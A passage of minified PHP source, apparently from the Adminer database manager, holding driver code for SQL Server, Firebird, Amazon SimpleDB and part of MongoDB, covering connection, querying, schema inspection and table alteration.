connect($O,$V,$G){$this->_link=@sqlsrv_connect($O,array("UID"=>$V,"PWD"=>$G,"CharacterSet"=>"UTF-8"));if($this->_link){$Kd=sqlsrv_server_info($this->_link);$this->server_info=$Kd['SQLServerVersion'];}else$this->_get_error();return(bool)$this->_link;}function
quote($Q){return"'".str_replace("'","''",$Q)."'";}function
select_db($k){return$this->query("USE ".idf_escape($k));}function
query($H,$wi=false){$I=sqlsrv_query($this->_link,$H);$this->error="";if(!$I){$this->_get_error();return
false;}return$this->store_result($I);}function
multi_query($H){$this->_result=sqlsrv_query($this->_link,$H);$this->error="";if(!$this->_result){$this->_get_error();return
false;}return
true;}function
store_result($I=null){if(!$I)$I=$this->_result;if(!$I)return
false;if(sqlsrv_field_metadata($I))return
new
Min_Result($I);$this->affected_rows=sqlsrv_rows_affected($I);return
true;}function
next_result(){return$this->_result?sqlsrv_next_result($this->_result):null;}function
result($H,$p=0){$I=$this->query($H);if(!is_object($I))return
false;$K=$I->fetch_row();return$K[$p];}}class
Min_Result{var$_result,$_offset=0,$_fields,$num_rows;function
__construct($I){$this->_result=$I;}function
_convert($K){foreach((array)$K
as$z=>$X){if(is_a($X,'DateTime'))$K[$z]=$X->format("Y-m-d H:i:s");}return$K;}function
fetch_assoc(){return$this->_convert(sqlsrv_fetch_array($this->_result,SQLSRV_FETCH_ASSOC));}function
fetch_row(){return$this->_convert(sqlsrv_fetch_array($this->_result,SQLSRV_FETCH_NUMERIC));}function
fetch_field(){if(!$this->_fields)$this->_fields=sqlsrv_field_metadata($this->_result);$p=$this->_fields[$this->_offset++];$J=new
stdClass;$J->name=$p["Name"];$J->orgname=$p["Name"];$J->type=($p["Type"]==1?254:0);return$J;}function
seek($E){for($t=0;$t<$E;$t++)sqlsrv_fetch($this->_result);}function
__destruct(){sqlsrv_free_stmt($this->_result);}}}elseif(extension_loaded("mssql")){class
Min_DB{var$extension="MSSQL",$_link,$_result,$server_info,$affected_rows,$error;function
connect($O,$V,$G){$this->_link=@mssql_connect($O,$V,$G);if($this->_link){$I=$this->query("SELECT SERVERPROPERTY('ProductLevel'), SERVERPROPERTY('Edition')");$K=$I->fetch_row();$this->server_info=$this->result("sp_server_info 2",2)." [$K[0]] $K[1]";}else$this->error=mssql_get_last_message();return(bool)$this->_link;}function
quote($Q){return"'".str_replace("'","''",$Q)."'";}function
select_db($k){return
mssql_select_db($k);}function
query($H,$wi=false){$I=@mssql_query($H,$this->_link);$this->error="";if(!$I){$this->error=mssql_get_last_message();return
false;}if($I===true){$this->affected_rows=mssql_rows_affected($this->_link);return
true;}return
new
Min_Result($I);}function
multi_query($H){return$this->_result=$this->query($H);}function
store_result(){return$this->_result;}function
next_result(){return
mssql_next_result($this->_result->_result);}function
result($H,$p=0){$I=$this->query($H);if(!is_object($I))return
false;return
mssql_result($I->_result,0,$p);}}class
Min_Result{var$_result,$_offset=0,$_fields,$num_rows;function
__construct($I){$this->_result=$I;$this->num_rows=mssql_num_rows($I);}function
fetch_assoc(){return
mssql_fetch_assoc($this->_result);}function
fetch_row(){return
mssql_fetch_row($this->_result);}function
num_rows(){return
mssql_num_rows($this->_result);}function
fetch_field(){$J=mssql_fetch_field($this->_result);$J->orgtable=$J->table;$J->orgname=$J->name;return$J;}function
seek($E){mssql_data_seek($this->_result,$E);}function
__destruct(){mssql_free_result($this->_result);}}}elseif(extension_loaded("pdo_dblib")){class
Min_DB
extends
Min_PDO{var$extension="PDO_DBLIB";function
connect($O,$V,$G){$this->dsn("dblib:charset=utf8;host=".str_replace(":",";unix_socket=",preg_replace('~:(\\d)~',';port=\\1',$O)),$V,$G);return
true;}function
select_db($k){return$this->query("USE ".idf_escape($k));}}}class
Min_Driver
extends
Min_SQL{function
insertUpdate($R,$L,$dg){foreach($L
as$P){$Ci=array();$Z=array();foreach($P
as$z=>$X){$Ci[]="$z = $X";if(isset($dg[idf_unescape($z)]))$Z[]="$z = $X";}if(!queries("MERGE ".table($R)." USING (VALUES(".implode(", ",$P).")) AS source (c".implode(", c",range(1,count($P))).") ON ".implode(" AND ",$Z)." WHEN MATCHED THEN UPDATE SET ".implode(", ",$Ci)." WHEN NOT MATCHED THEN INSERT (".implode(", ",array_keys($P)).") VALUES (".implode(", ",$P).");"))return
false;}return
true;}function
begin(){return
queries("BEGIN TRANSACTION");}}function
idf_escape($v){return"[".str_replace("]","]]",$v)."]";}function
table($v){return($_GET["ns"]!=""?idf_escape($_GET["ns"]).".":"").idf_escape($v);}function
connect(){global$b;$g=new
Min_DB;$j=$b->credentials();if($g->connect($j[0],$j[1],$j[2]))return$g;return$g->error;}function
get_databases(){return
get_vals("SELECT name FROM sys.databases WHERE name NOT IN ('master', 'tempdb', 'model', 'msdb')");}function
limit($H,$Z,$_,$E=0,$N=" "){return($_!==null?" TOP (".($_+$E).")":"")." $H$Z";}function
limit1($R,$H,$Z,$N="\n"){return
limit($H,$Z,1,0,$N);}function
db_collation($m,$qb){global$g;return$g->result("SELECT collation_name FROM sys.databases WHERE name = ".q($m));}function
engines(){return
array();}function
logged_user(){global$g;return$g->result("SELECT SUSER_NAME()");}function
tables_list(){return
get_key_vals("SELECT name, type_desc FROM sys.all_objects WHERE schema_id = SCHEMA_ID(".q(get_schema()).") AND type IN ('S', 'U', 'V') ORDER BY name");}function
count_tables($l){global$g;$J=array();foreach($l
as$m){$g->select_db($m);$J[$m]=$g->result("SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES");}return$J;}function
table_status($D=""){$J=array();foreach(get_rows("SELECT name AS Name, type_desc AS Engine FROM sys.all_objects WHERE schema_id = SCHEMA_ID(".q(get_schema()).") AND type IN ('S', 'U', 'V') ".($D!=""?"AND name = ".q($D):"ORDER BY name"))as$K){if($D!="")return$K;$J[$K["Name"]]=$K;}return$J;}function
is_view($S){return$S["Engine"]=="VIEW";}function
fk_support($S){return
true;}function
fields($R){$J=array();foreach(get_rows("SELECT c.max_length, c.precision, c.scale, c.name, c.is_nullable, c.is_identity, c.collation_name, t.name type, CAST(d.definition as text) [default]
FROM sys.all_columns c
JOIN sys.all_objects o ON c.object_id = o.object_id
JOIN sys.types t ON c.user_type_id = t.user_type_id
LEFT JOIN sys.default_constraints d ON c.default_object_id = d.parent_column_id
WHERE o.schema_id = SCHEMA_ID(".q(get_schema()).") AND o.type IN ('S', 'U', 'V') AND o.name = ".q($R))as$K){$U=$K["type"];$pe=(preg_match("~char|binary~",$U)?$K["max_length"]:($U=="decimal"?"$K[precision],$K[scale]":""));$J[$K["name"]]=array("field"=>$K["name"],"full_type"=>$U.($pe?"($pe)":""),"type"=>$U,"length"=>$pe,"default"=>$K["default"],"null"=>$K["is_nullable"],"auto_increment"=>$K["is_identity"],"collation"=>$K["collation_name"],"privileges"=>array("insert"=>1,"select"=>1,"update"=>1),"primary"=>$K["is_identity"],);}return$J;}function
indexes($R,$h=null){$J=array();foreach(get_rows("SELECT i.name, key_ordinal, is_unique, is_primary_key, c.name AS column_name, is_descending_key
FROM sys.indexes i
INNER JOIN sys.index_columns ic ON i.object_id = ic.object_id AND i.index_id = ic.index_id
INNER JOIN sys.columns c ON ic.object_id = c.object_id AND ic.column_id = c.column_id
WHERE OBJECT_NAME(i.object_id) = ".q($R),$h)as$K){$D=$K["name"];$J[$D]["type"]=($K["is_primary_key"]?"PRIMARY":($K["is_unique"]?"UNIQUE":"INDEX"));$J[$D]["lengths"]=array();$J[$D]["columns"][$K["key_ordinal"]]=$K["column_name"];$J[$D]["descs"][$K["key_ordinal"]]=($K["is_descending_key"]?'1':null);}return$J;}function
view($D){global$g;return
array("select"=>preg_replace('~^(?:[^[]|\\[[^]]*])*\\s+AS\\s+~isU','',$g->result("SELECT VIEW_DEFINITION FROM INFORMATION_SCHEMA.VIEWS WHERE TABLE_SCHEMA = SCHEMA_NAME() AND TABLE_NAME = ".q($D))));}function
collations(){$J=array();foreach(get_vals("SELECT name FROM fn_helpcollations()")as$pb)$J[preg_replace('~_.*~','',$pb)][]=$pb;return$J;}function
information_schema($m){return
false;}function
error(){global$g;return
nl_br(h(preg_replace('~^(\\[[^]]*])+~m','',$g->error)));}function
create_database($m,$pb){return
queries("CREATE DATABASE ".idf_escape($m).(preg_match('~^[a-z0-9_]+$~i',$pb)?" COLLATE $pb":""));}function
drop_databases($l){return
queries("DROP DATABASE ".implode(", ",array_map('idf_escape',$l)));}function
rename_database($D,$pb){if(preg_match('~^[a-z0-9_]+$~i',$pb))queries("ALTER DATABASE ".idf_escape(DB)." COLLATE $pb");queries("ALTER DATABASE ".idf_escape(DB)." MODIFY NAME = ".idf_escape($D));return
true;}function
auto_increment(){return" IDENTITY".($_POST["Auto_increment"]!=""?"(".number($_POST["Auto_increment"]).",1)":"")." PRIMARY KEY";}function
alter_table($R,$D,$q,$bd,$vb,$uc,$pb,$Ma,$Nf){$c=array();foreach($q
as$p){$d=idf_escape($p[0]);$X=$p[1];if(!$X)$c["DROP"][]=" COLUMN $d";else{$X[1]=preg_replace("~( COLLATE )'(\\w+)'~","\\1\\2",$X[1]);if($p[0]=="")$c["ADD"][]="\n  ".implode("",$X).($R==""?substr($bd[$X[0]],16+strlen($X[0])):"");else{unset($X[6]);if($d!=$X[0])queries("EXEC sp_rename ".q(table($R).".$d").", ".q(idf_unescape($X[0])).", 'COLUMN'");$c["ALTER COLUMN ".implode("",$X)][]="";}}}if($R=="")return
queries("CREATE TABLE ".table($D)." (".implode(",",(array)$c["ADD"])."\n)");if($R!=$D)queries("EXEC sp_rename ".q(table($R)).", ".q($D));if($bd)$c[""]=$bd;foreach($c
as$z=>$X){if(!queries("ALTER TABLE ".idf_escape($D)." $z".implode(",",$X)))return
false;}return
true;}function
alter_indexes($R,$c){$w=array();$fc=array();foreach($c
as$X){if($X[2]=="DROP"){if($X[0]=="PRIMARY")$fc[]=idf_escape($X[1]);else$w[]=idf_escape($X[1])." ON ".table($R);}elseif(!queries(($X[0]!="PRIMARY"?"CREATE $X[0] ".($X[0]!="INDEX"?"INDEX ":"").idf_escape($X[1]!=""?$X[1]:uniqid($R."_"))." ON ".table($R):"ALTER TABLE ".table($R)." ADD PRIMARY KEY")." (".implode(", ",$X[2]).")"))return
false;}return(!$w||queries("DROP INDEX ".implode(", ",$w)))&&(!$fc||queries("ALTER TABLE ".table($R)." DROP ".implode(", ",$fc)));}function
last_id(){global$g;return$g->result("SELECT SCOPE_IDENTITY()");}function
explain($g,$H){$g->query("SET SHOWPLAN_ALL ON");$J=$g->query($H);$g->query("SET SHOWPLAN_ALL OFF");return$J;}function
found_rows($S,$Z){}function
foreign_keys($R){$J=array();foreach(get_rows("EXEC sp_fkeys @fktable_name = ".q($R))as$K){$r=&$J[$K["FK_NAME"]];$r["table"]=$K["PKTABLE_NAME"];$r["source"][]=$K["FKCOLUMN_NAME"];$r["target"][]=$K["PKCOLUMN_NAME"];}return$J;}function
truncate_tables($T){return
apply_queries("TRUNCATE TABLE",$T);}function
drop_views($Si){return
queries("DROP VIEW ".implode(", ",array_map('table',$Si)));}function
drop_tables($T){return
queries("DROP TABLE ".implode(", ",array_map('table',$T)));}function
move_tables($T,$Si,$Ph){return
apply_queries("ALTER SCHEMA ".idf_escape($Ph)." TRANSFER",array_merge($T,$Si));}function
trigger($D){if($D=="")return
array();$L=get_rows("SELECT s.name [Trigger],
CASE WHEN OBJECTPROPERTY(s.id, 'ExecIsInsertTrigger') = 1 THEN 'INSERT' WHEN OBJECTPROPERTY(s.id, 'ExecIsUpdateTrigger') = 1 THEN 'UPDATE' WHEN OBJECTPROPERTY(s.id, 'ExecIsDeleteTrigger') = 1 THEN 'DELETE' END [Event],
CASE WHEN OBJECTPROPERTY(s.id, 'ExecIsInsteadOfTrigger') = 1 THEN 'INSTEAD OF' ELSE 'AFTER' END [Timing],
c.text
FROM sysobjects s
JOIN syscomments c ON s.id = c.id
WHERE s.xtype = 'TR' AND s.name = ".q($D));$J=reset($L);if($J)$J["Statement"]=preg_replace('~^.+\\s+AS\\s+~isU','',$J["text"]);return$J;}function
triggers($R){$J=array();foreach(get_rows("SELECT sys1.name,
CASE WHEN OBJECTPROPERTY(sys1.id, 'ExecIsInsertTrigger') = 1 THEN 'INSERT' WHEN OBJECTPROPERTY(sys1.id, 'ExecIsUpdateTrigger') = 1 THEN 'UPDATE' WHEN OBJECTPROPERTY(sys1.id, 'ExecIsDeleteTrigger') = 1 THEN 'DELETE' END [Event],
CASE WHEN OBJECTPROPERTY(sys1.id, 'ExecIsInsteadOfTrigger') = 1 THEN 'INSTEAD OF' ELSE 'AFTER' END [Timing]
FROM sysobjects sys1
JOIN sysobjects sys2 ON sys1.parent_obj = sys2.id
WHERE sys1.xtype = 'TR' AND sys2.name = ".q($R))as$K)$J[$K["name"]]=array($K["Timing"],$K["Event"]);return$J;}function
trigger_options(){return
array("Timing"=>array("AFTER","INSTEAD OF"),"Event"=>array("INSERT","UPDATE","DELETE"),"Type"=>array("AS"),);}function
schemas(){return
get_vals("SELECT name FROM sys.schemas");}function
get_schema(){global$g;if($_GET["ns"]!="")return$_GET["ns"];return$g->result("SELECT SCHEMA_NAME()");}function
set_schema($Tg){return
true;}function
use_sql($k){return"USE ".idf_escape($k);}function
show_variables(){return
array();}function
show_status(){return
array();}function
convert_field($p){}function
unconvert_field($p,$J){return$J;}function
support($Pc){return
preg_match('~^(columns|database|drop_col|indexes|scheme|sql|table|trigger|view|view_trigger)$~',$Pc);}$y="mssql";$vi=array();$_h=array();foreach(array(lang(25)=>array("tinyint"=>3,"smallint"=>5,"int"=>10,"bigint"=>20,"bit"=>1,"decimal"=>0,"real"=>12,"float"=>53,"smallmoney"=>10,"money"=>20),lang(26)=>array("date"=>10,"smalldatetime"=>19,"datetime"=>19,"datetime2"=>19,"time"=>8,"datetimeoffset"=>10),lang(23)=>array("char"=>8000,"varchar"=>8000,"text"=>2147483647,"nchar"=>4000,"nvarchar"=>4000,"ntext"=>1073741823),lang(27)=>array("binary"=>8000,"varbinary"=>8000,"image"=>2147483647),)as$z=>$X){$vi+=$X;$_h[$z]=array_keys($X);}$Bi=array();$of=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT IN","IS NOT NULL");$jd=array("len","lower","round","upper");$pd=array("avg","count","count distinct","max","min","sum");$mc=array(array("date|time"=>"getdate",),array("int|decimal|real|float|money|datetime"=>"+/-","char|text"=>"+",));}$ec['firebird']='Firebird (alpha)';if(isset($_GET["firebird"])){$ag=array("interbase");define("DRIVER","firebird");if(extension_loaded("interbase")){class
Min_DB{var$extension="Firebird",$server_info,$affected_rows,$errno,$error,$_link,$_result;function
connect($O,$V,$G){$this->_link=ibase_connect($O,$V,$G);if($this->_link){$Fi=explode(':',$O);$this->service_link=ibase_service_attach($Fi[0],$V,$G);$this->server_info=ibase_server_info($this->service_link,IBASE_SVC_SERVER_VERSION);}else{$this->errno=ibase_errcode();$this->error=ibase_errmsg();}return(bool)$this->_link;}function
quote($Q){return"'".str_replace("'","''",$Q)."'";}function
select_db($k){return($k=="domain");}function
query($H,$wi=false){$I=ibase_query($H,$this->_link);if(!$I){$this->errno=ibase_errcode();$this->error=ibase_errmsg();return
false;}$this->error="";if($I===true){$this->affected_rows=ibase_affected_rows($this->_link);return
true;}return
new
Min_Result($I);}function
multi_query($H){return$this->_result=$this->query($H);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
result($H,$p=0){$I=$this->query($H);if(!$I||!$I->num_rows)return
false;$K=$I->fetch_row();return$K[$p];}}class
Min_Result{var$num_rows,$_result,$_offset=0;function
__construct($I){$this->_result=$I;}function
fetch_assoc(){return
ibase_fetch_assoc($this->_result);}function
fetch_row(){return
ibase_fetch_row($this->_result);}function
fetch_field(){$p=ibase_field_info($this->_result,$this->_offset++);return(object)array('name'=>$p['name'],'orgname'=>$p['name'],'type'=>$p['type'],'charsetnr'=>$p['length'],);}function
__destruct(){ibase_free_result($this->_result);}}}class
Min_Driver
extends
Min_SQL{}function
idf_escape($v){return'"'.str_replace('"','""',$v).'"';}function
table($v){return
idf_escape($v);}function
connect(){global$b;$g=new
Min_DB;$j=$b->credentials();if($g->connect($j[0],$j[1],$j[2]))return$g;return$g->error;}function
get_databases($ad){return
array("domain");}function
limit($H,$Z,$_,$E=0,$N=" "){$J='';$J.=($_!==null?$N."FIRST $_".($E?" SKIP $E":""):"");$J.=" $H$Z";return$J;}function
limit1($R,$H,$Z,$N="\n"){return
limit($H,$Z,1,0,$N);}function
db_collation($m,$qb){}function
engines(){return
array();}function
logged_user(){global$b;$j=$b->credentials();return$j[1];}function
tables_list(){global$g;$H='SELECT RDB$RELATION_NAME FROM rdb$relations WHERE rdb$system_flag = 0';$I=ibase_query($g->_link,$H);$J=array();while($K=ibase_fetch_assoc($I))$J[$K['RDB$RELATION_NAME']]='table';ksort($J);return$J;}function
count_tables($l){return
array();}function
table_status($D="",$Oc=false){global$g;$J=array();$Lb=tables_list();foreach($Lb
as$w=>$X){$w=trim($w);$J[$w]=array('Name'=>$w,'Engine'=>'standard',);if($D==$w)return$J[$w];}return$J;}function
is_view($S){return
false;}function
fk_support($S){return
preg_match('~InnoDB|IBMDB2I~i',$S["Engine"]);}function
fields($R){global$g;$J=array();$H='SELECT r.RDB$FIELD_NAME AS field_name,
r.RDB$DESCRIPTION AS field_description,
r.RDB$DEFAULT_VALUE AS field_default_value,
r.RDB$NULL_FLAG AS field_not_null_constraint,
f.RDB$FIELD_LENGTH AS field_length,
f.RDB$FIELD_PRECISION AS field_precision,
f.RDB$FIELD_SCALE AS field_scale,
CASE f.RDB$FIELD_TYPE
WHEN 261 THEN \'BLOB\'
WHEN 14 THEN \'CHAR\'
WHEN 40 THEN \'CSTRING\'
WHEN 11 THEN \'D_FLOAT\'
WHEN 27 THEN \'DOUBLE\'
WHEN 10 THEN \'FLOAT\'
WHEN 16 THEN \'INT64\'
WHEN 8 THEN \'INTEGER\'
WHEN 9 THEN \'QUAD\'
WHEN 7 THEN \'SMALLINT\'
WHEN 12 THEN \'DATE\'
WHEN 13 THEN \'TIME\'
WHEN 35 THEN \'TIMESTAMP\'
WHEN 37 THEN \'VARCHAR\'
ELSE \'UNKNOWN\'
END AS field_type,
f.RDB$FIELD_SUB_TYPE AS field_subtype,
coll.RDB$COLLATION_NAME AS field_collation,
cset.RDB$CHARACTER_SET_NAME AS field_charset
FROM RDB$RELATION_FIELDS r
LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME
LEFT JOIN RDB$COLLATIONS coll ON f.RDB$COLLATION_ID = coll.RDB$COLLATION_ID
LEFT JOIN RDB$CHARACTER_SETS cset ON f.RDB$CHARACTER_SET_ID = cset.RDB$CHARACTER_SET_ID
WHERE r.RDB$RELATION_NAME = '.q($R).'
ORDER BY r.RDB$FIELD_POSITION';$I=ibase_query($g->_link,$H);while($K=ibase_fetch_assoc($I))$J[trim($K['FIELD_NAME'])]=array("field"=>trim($K["FIELD_NAME"]),"full_type"=>trim($K["FIELD_TYPE"]),"type"=>trim($K["FIELD_SUB_TYPE"]),"default"=>trim($K['FIELD_DEFAULT_VALUE']),"null"=>(trim($K["FIELD_NOT_NULL_CONSTRAINT"])=="YES"),"auto_increment"=>'0',"collation"=>trim($K["FIELD_COLLATION"]),"privileges"=>array("insert"=>1,"select"=>1,"update"=>1),"comment"=>trim($K["FIELD_DESCRIPTION"]),);return$J;}function
indexes($R,$h=null){$J=array();return$J;}function
foreign_keys($R){return
array();}function
collations(){return
array();}function
information_schema($m){return
false;}function
error(){global$g;return
h($g->error);}function
types(){return
array();}function
schemas(){return
array();}function
get_schema(){return"";}function
set_schema($Tg){return
true;}function
support($Pc){return
preg_match("~^(columns|sql|status|table)$~",$Pc);}$y="firebird";$of=array("=");$jd=array();$pd=array();$mc=array();}$ec["simpledb"]="SimpleDB";if(isset($_GET["simpledb"])){$ag=array("SimpleXML + allow_url_fopen");define("DRIVER","simpledb");if(class_exists('SimpleXMLElement')&&ini_bool('allow_url_fopen')){class
Min_DB{var$extension="SimpleXML",$server_info='2009-04-15',$error,$timeout,$next,$affected_rows,$_result;function
select_db($k){return($k=="domain");}function
query($H,$wi=false){$Hf=array('SelectExpression'=>$H,'ConsistentRead'=>'true');if($this->next)$Hf['NextToken']=$this->next;$I=sdb_request_all('Select','Item',$Hf,$this->timeout);if($I===false)return$I;if(preg_match('~^\s*SELECT\s+COUNT\(~i',$H)){$Dh=0;foreach($I
as$Wd)$Dh+=$Wd->Attribute->Value;$I=array((object)array('Attribute'=>array((object)array('Name'=>'Count','Value'=>$Dh,))));}return
new
Min_Result($I);}function
multi_query($H){return$this->_result=$this->query($H);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
quote($Q){return"'".str_replace("'","''",$Q)."'";}}class
Min_Result{var$num_rows,$_rows=array(),$_offset=0;function
__construct($I){foreach($I
as$Wd){$K=array();if($Wd->Name!='')$K['itemName()']=(string)$Wd->Name;foreach($Wd->Attribute
as$Ja){$D=$this->_processValue($Ja->Name);$Y=$this->_processValue($Ja->Value);if(isset($K[$D])){$K[$D]=(array)$K[$D];$K[$D][]=$Y;}else$K[$D]=$Y;}$this->_rows[]=$K;foreach($K
as$z=>$X){if(!isset($this->_rows[0][$z]))$this->_rows[0][$z]=null;}}$this->num_rows=count($this->_rows);}function
_processValue($pc){return(is_object($pc)&&$pc['encoding']=='base64'?base64_decode($pc):(string)$pc);}function
fetch_assoc(){$K=current($this->_rows);if(!$K)return$K;$J=array();foreach($this->_rows[0]as$z=>$X)$J[$z]=$K[$z];next($this->_rows);return$J;}function
fetch_row(){$J=$this->fetch_assoc();if(!$J)return$J;return
array_values($J);}function
fetch_field(){$ce=array_keys($this->_rows[0]);return(object)array('name'=>$ce[$this->_offset++]);}}}class
Min_Driver
extends
Min_SQL{public$dg="itemName()";function
_chunkRequest($Ad,$wa,$Hf,$Ec=array()){global$g;foreach(array_chunk($Ad,25)as$ib){$If=$Hf;foreach($ib
as$t=>$u){$If["Item.$t.ItemName"]=$u;foreach($Ec
as$z=>$X)$If["Item.$t.$z"]=$X;}if(!sdb_request($wa,$If))return
false;}$g->affected_rows=count($Ad);return
true;}function
_extractIds($R,$pg,$_){$J=array();if(preg_match_all("~itemName\(\) = (('[^']*+')+)~",$pg,$ze))$J=array_map('idf_unescape',$ze[1]);else{foreach(sdb_request_all('Select','Item',array('SelectExpression'=>'SELECT itemName() FROM '.table($R).$pg.($_?" LIMIT 1":"")))as$Wd)$J[]=$Wd->Name;}return$J;}function
select($R,$M,$Z,$md,$tf=array(),$_=1,$F=0,$fg=false){global$g;$g->next=$_GET["next"];$J=parent::select($R,$M,$Z,$md,$tf,$_,$F,$fg);$g->next=0;return$J;}function
delete($R,$pg,$_=0){return$this->_chunkRequest($this->_extractIds($R,$pg,$_),'BatchDeleteAttributes',array('DomainName'=>$R));}function
update($R,$P,$pg,$_=0,$N="\n"){$Ub=array();$Od=array();$t=0;$Ad=$this->_extractIds($R,$pg,$_);$u=idf_unescape($P["`itemName()`"]);unset($P["`itemName()`"]);foreach($P
as$z=>$X){$z=idf_unescape($z);if($X=="NULL"||($u!=""&&array($u)!=$Ad))$Ub["Attribute.".count($Ub).".Name"]=$z;if($X!="NULL"){foreach((array)$X
as$Yd=>$W){$Od["Attribute.$t.Name"]=$z;$Od["Attribute.$t.Value"]=(is_array($X)?$W:idf_unescape($W));if(!$Yd)$Od["Attribute.$t.Replace"]="true";$t++;}}}$Hf=array('DomainName'=>$R);return(!$Od||$this->_chunkRequest(($u!=""?array($u):$Ad),'BatchPutAttributes',$Hf,$Od))&&(!$Ub||$this->_chunkRequest($Ad,'BatchDeleteAttributes',$Hf,$Ub));}function
insert($R,$P){$Hf=array("DomainName"=>$R);$t=0;foreach($P
as$D=>$Y){if($Y!="NULL"){$D=idf_unescape($D);if($D=="itemName()")$Hf["ItemName"]=idf_unescape($Y);else{foreach((array)$Y
as$X){$Hf["Attribute.$t.Name"]=$D;$Hf["Attribute.$t.Value"]=(is_array($Y)?$X:idf_unescape($Y));$t++;}}}}return
sdb_request('PutAttributes',$Hf);}function
insertUpdate($R,$L,$dg){foreach($L
as$P){if(!$this->update($R,$P,"WHERE `itemName()` = ".q($P["`itemName()`"])))return
false;}return
true;}function
begin(){return
false;}function
commit(){return
false;}function
rollback(){return
false;}}function
connect(){return
new
Min_DB;}function
support($Pc){return
preg_match('~sql~',$Pc);}function
logged_user(){global$b;$j=$b->credentials();return$j[1];}function
get_databases(){return
array("domain");}function
collations(){return
array();}function
db_collation($m,$qb){}function
tables_list(){global$g;$J=array();foreach(sdb_request_all('ListDomains','DomainName')as$R)$J[(string)$R]='table';if($g->error&&defined("PAGE_HEADER"))echo"<p class='error'>".error()."\n";return$J;}function
table_status($D="",$Oc=false){$J=array();foreach(($D!=""?array($D=>true):tables_list())as$R=>$U){$K=array("Name"=>$R,"Auto_increment"=>"");if(!$Oc){$Le=sdb_request('DomainMetadata',array('DomainName'=>$R));if($Le){foreach(array("Rows"=>"ItemCount","Data_length"=>"ItemNamesSizeBytes","Index_length"=>"AttributeValuesSizeBytes","Data_free"=>"AttributeNamesSizeBytes",)as$z=>$X)$K[$z]=(string)$Le->$X;}}if($D!="")return$K;$J[$R]=$K;}return$J;}function
explain($g,$H){}function
error(){global$g;return
h($g->error);}function
information_schema(){}function
is_view($S){}function
indexes($R,$h=null){return
array(array("type"=>"PRIMARY","columns"=>array("itemName()")),);}function
fields($R){return
fields_from_edit();}function
foreign_keys($R){return
array();}function
table($v){return
idf_escape($v);}function
idf_escape($v){return"`".str_replace("`","``",$v)."`";}function
limit($H,$Z,$_,$E=0,$N=" "){return" $H$Z".($_!==null?$N."LIMIT $_":"");}function
unconvert_field($p,$J){return$J;}function
fk_support($S){}function
engines(){return
array();}function
alter_table($R,$D,$q,$bd,$vb,$uc,$pb,$Ma,$Nf){return($R==""&&sdb_request('CreateDomain',array('DomainName'=>$D)));}function
drop_tables($T){foreach($T
as$R){if(!sdb_request('DeleteDomain',array('DomainName'=>$R)))return
false;}return
true;}function
count_tables($l){foreach($l
as$m)return
array($m=>count(tables_list()));}function
found_rows($S,$Z){return($Z?null:$S["Rows"]);}function
last_id(){}function
hmac($Ca,$Lb,$z,$tg=false){$Va=64;if(strlen($z)>$Va)$z=pack("H*",$Ca($z));$z=str_pad($z,$Va,"\0");$Zd=$z^str_repeat("\x36",$Va);$ae=$z^str_repeat("\x5C",$Va);$J=$Ca($ae.pack("H*",$Ca($Zd.$Lb)));if($tg)$J=pack("H*",$J);return$J;}function
sdb_request($wa,$Hf=array()){global$b,$g;list($yd,$Hf['AWSAccessKeyId'],$Wg)=$b->credentials();$Hf['Action']=$wa;$Hf['Timestamp']=gmdate('Y-m-d\TH:i:s+00:00');$Hf['Version']='2009-04-15';$Hf['SignatureVersion']=2;$Hf['SignatureMethod']='HmacSHA1';ksort($Hf);$H='';foreach($Hf
as$z=>$X)$H.='&'.rawurlencode($z).'='.rawurlencode($X);$H=str_replace('%7E','~',substr($H,1));$H.="&Signature=".urlencode(base64_encode(hmac('sha1',"POST\n".preg_replace('~^https?://~','',$yd)."\n/\n$H",$Wg,true)));@ini_set('track_errors',1);$Tc=@file_get_contents((preg_match('~^https?://~',$yd)?$yd:"http://$yd"),false,stream_context_create(array('http'=>array('method'=>'POST','content'=>$H,'ignore_errors'=>1,))));if(!$Tc){$g->error=$php_errormsg;return
false;}libxml_use_internal_errors(true);$fj=simplexml_load_string($Tc);if(!$fj){$o=libxml_get_last_error();$g->error=$o->message;return
false;}if($fj->Errors){$o=$fj->Errors->Error;$g->error="$o->Message ($o->Code)";return
false;}$g->error='';$Oh=$wa."Result";return($fj->$Oh?$fj->$Oh:true);}function
sdb_request_all($wa,$Oh,$Hf=array(),$Xh=0){$J=array();$vh=($Xh?microtime(true):0);$_=(preg_match('~LIMIT\s+(\d+)\s*$~i',$Hf['SelectExpression'],$C)?$C[1]:0);do{$fj=sdb_request($wa,$Hf);if(!$fj)break;foreach($fj->$Oh
as$pc)$J[]=$pc;if($_&&count($J)>=$_){$_GET["next"]=$fj->NextToken;break;}if($Xh&&microtime(true)-$vh>$Xh)return
false;$Hf['NextToken']=$fj->NextToken;if($_)$Hf['SelectExpression']=preg_replace('~\d+\s*$~',$_-count($J),$Hf['SelectExpression']);}while($fj->NextToken);return$J;}$y="simpledb";$of=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","IS NOT NULL");$jd=array();$pd=array("count");$mc=array(array("json"));}$ec["mongo"]="MongoDB";if(isset($_GET["mongo"])){$ag=array("mongo","mongodb");define("DRIVER","mongo");if(class_exists('MongoDB')){class
Min_DB{var$extension="Mongo",$error,$last_id,$_link,$_db;function
connect($O,$V,$G){global$b;$m=$b->database();$rf=array();if($V!=""){$rf["username"]=$V;$rf["password"]=$G;}if($m!="")$rf["db"]=$m;try{$this->_link=@new
MongoClient("mongodb://$O",$rf);return
true;}catch(Exception$Ac){$this->error=$Ac->getMessage();return
false;}}function
query($H){return
false;}function
select_db($k){try{$this->_db=$this->_link->selectDB($k);return
true;}catch(Exception$Ac){$this->error=$Ac->getMessage();return
false;}}function
quote($Q){return$Q;}}class
Min_Result{var$num_rows,$_rows=array(),$_offset=0,$_charset=array();function
__construct($I){foreach($I
as$Wd){$K=array();foreach($Wd
as$z=>$X){if(is_a($X,'MongoBinData'))$this->_charset[$z]=63;$K[$z]=(is_a($X,'MongoId')?'ObjectId("'.strval($X).'")':(is_a($X,'MongoDate')?gmdate("Y-m-d H:i:s",$X->sec)." GMT":(is_a($X,'MongoBinData')?$X->bin:(is_a($X,'MongoRegex')?strval($X):(is_object($X)?get_class($X):$X)))));}$this->_rows[]=$K;foreach($K
